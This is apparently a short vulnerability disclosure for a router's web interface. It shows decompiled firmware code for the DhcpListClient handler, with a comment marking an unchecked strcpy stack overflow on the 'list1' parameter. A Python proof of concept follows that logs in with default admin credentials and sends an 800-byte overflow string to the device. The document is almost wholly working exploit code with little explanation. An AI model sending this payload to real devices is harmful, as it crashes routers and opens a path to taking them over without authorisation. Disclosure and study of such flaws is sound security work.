

```
undefined4 local 370;
 undefined4 local 36c;
 undefined4 local_368;
 undefined4 local 364;
 undefined local 360;
 char acStack608 [63];
 char acStack545 [257];
 char acStack288 [256];
 char *local 20;
 undefined4 local 1c;
 char *local 18;
 int local_14;
 local 14 = 0;
 memset(acStack608,0,0x40);
 local 18 = (char *)FUN 0002ba8c(param 1,"LISTLEN", &DAT 000ee368);
 local 1c = FUN 0002ba8c(param 1,&DAT 000ee36c,&DAT 000ee374);
 local 360 = 0;
 local 14 = 1;
 while (iVar2 = atoi(local 18), local 14 <= iVar2) {</pre>
   local 370 = 0;
   local 36c = 0;
   local_368 = 0;
   local 364 = 0;
   sprintf((char *)&local_370,"%s%d","list",local_14);
   local_20 = (char *)FUN_0002ba8c(param_1,&local_370,&DAT_000ee388);
   if ((local_20 == (char *)0x0) || (*local_20 == '\0')) break;
   strcpy(acStack545 + 1,local_20 + 1); //here is overflow
   sVar1 = strlen(acStack545 + 1);
   acStack545[sVar1] = '\0';
   sprintf(acStack608,"dhcps.Staticip%d",local_14);
   SetValue(acStack608,acStack545 + 1);
   local 14 = local 14 + 1;
 SetValue("dhcps.Staticnum",local_18);
 sprintf(acStack288,"/network/lan_dhcp_static.asp?page=%s",local_1c);
 iVar2 = CommitCfm();
 if (iVar2 != 0) {
   PostMsgToNetctrl(3);
 FUN_0002be4c(param_1,acStack288);
 return;
}
```

```
import requests

cmd = b'LISTLEN=1&page=&list1=' + b'A' * 800

url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/DhcpListClient/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```